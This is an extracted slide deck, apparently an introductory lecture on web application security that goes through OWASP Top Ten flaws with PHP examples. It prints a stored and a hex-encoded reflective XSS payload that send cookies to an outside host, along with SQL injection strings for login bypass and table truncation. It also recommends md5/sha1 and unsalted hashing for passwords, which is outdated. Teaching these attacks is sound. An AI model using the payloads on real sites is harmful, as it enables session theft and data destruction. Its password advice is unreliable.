Web Application Security An Introduction

OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management *Cross Site Scripting (XSS) Flaws Buffer Overflows *Injection Flaws *Improper Error Handling *Insecure Storage *Denial of Service Insecure Configuration Management ( – You can read up there if you want more information )

Unvalidated Input Information from web requests not validated before being used by a web application Most attacks on web applications are some derivative of this Examples in PHP, but all languages are vulnerable Let’s take a look at vulnerable.phpvulnerable.php

Unvalidated Input vulnerable.php can be broken up into 3 parts Some PHP at the top that inserts messages into the database (w/o validation) A form for the user to add their message Some PHP that displays all the messages that have been added

Unvalidated Input We can insert whatever we want… including HTML DIV that takes up the whole screen: HACKED BY CHINESE

Cross Site Scripting (XSS) Attack another user viewing something on the web app, not the web app itself Another derivative of not validating input Instead of an HTML element, let’s insert a script document.location=' o.com/bar.cgi?' +document.cookie This is called a stored XSS attack

Cross Site Scripting (XSS) We can be stealthier with a reflective XSS attack Let’s look at square.php?num=5square.php?num=5 If num is not an integer, it outputs an error What could be wrong? Error message outputs the input we give with no sanitization!

Cross Site Scripting (XSS) Let’s someone the link with a script as input square.php?num= document.location=' oo.com/bar.cgi?document.cookie' Who would click a link like that? Let’s hex encode the script (%YY = 0xYY) 64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68% 74%74%70%3A%2F%2F%77%77%77%2E%66%6F%6F%2E%63%6F%6D%2F%62%61% 72%2E%63%67%69%3F%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69% 65%27%3C%2F%73%63%72%69%70%74%3E Looks harmless to most people, but exposes their cookies to us. If we read their cookie and then redirect them back to the script, they won’t even know their cookies have been exposed

SQL Injection Same concept- relies on lack of validation Let’s take a look at stafflogin.phpstafflogin.php Take name and pin from querystring and verify against DB SELECT * FROM Staff WHERE Name='${_GET['name']}' AND Pin=${_GET['pin']} stafflogin.php?name=Fred&pin=32854 becomes SELECT * FROM Staff WHERE Name=Fred AND Pin=32854 What if we inject our own SQL code?

SQL Injection stafflogin.php?name=Fred&pin=0 UNION SELECT * FROM Staff LIMIT 1 becomes SELECT * FROM Staff WHERE Name=Fred AND Pin=0 UNION SELECT * FROM Staff LIMIT 1 This will return 1 row as long as we enter in the wrong pin, allowing us access without knowing the pin! Potentially more destructive- could erase entire database if we are given the ability to execute SQL code stafflogin.php?name=Fred&pin=0; TRUNCATE TABLE Staff How do we protect against these attacks?

Sanitization Naïve approach: filter out characters and keywords (and all their encodings) that are considered harmful (such as, UNION, quotes). This is negative filtering What if we miss something? What if the user encodes their input in a clever way? It’s impossible to account for everything Correct approach: use positive filtering, not negative

Positive Filtering Rather than filtering out bad input, filter out anything but good input In message forum, filter out anything but alphanumeric chars plus some punctuation. Encode all punctuation In login script, make sure pin is an integer- everything else throws an error Regular expressions are your friend

Denial of Service Can mean a lot of things, but mainly usurp resources of the server Keep running a page with a CPU intensive SQL query, such as a fulltext search of forum messages Have a script submit a form that causes an to be sent over and over, like a registration page How do we prevent DoS attacks on web apps?

Denial of Service Don’t expose anything resource heavy to the public. Associate it to a user account, and then only let that user account access to the resource on a time delay What if you can’t? (Like an account registration page that sends an ) Only let the same IP access to the resource every X minutes- not always foolproof Add anti-automation checksanti-automation checks

Improper Error Handling Don’t show errors that give away sensitive information- example_error.phpexample_error.php Catch or suppress all error messages and then give your own, minus all sensitive information You can’t be too cautious- you never know what little bits of information will add up to an exploit Service failure (even PHP itself)

Insecure Storage Never store sensitive information in plaintext User passwords in databases Session information in cookies Don’t bother with encryption- use one-way hashes (md5, sh1, etc) In PHP, you can use the crypt() function How can you verify a password a user enters against the hashed version that can’t be reversed?

Insecure Storage PHP’s crypt() function takes 2 args- string and salt. It hashes the string using the salt When the user registers, crypt() their password- no salt When the user tries to login, check if: pass_entered == crypt( pass_entered, pass_stored ) Tutorial here: Crypt-Function/ Crypt-Function/

Don’t trust yourself Always assume your application is insecure at every step of the process Consider input from one component as tainted in another- revalidate every time Give lowest possible privileges to components of your app (ex. the user PHP uses to connect to the SQL server shouldn’t have permission to DROP a table in the database if it doesn’t need it)

Links Application Frameworks / Design Patterns Free PHP5 Book!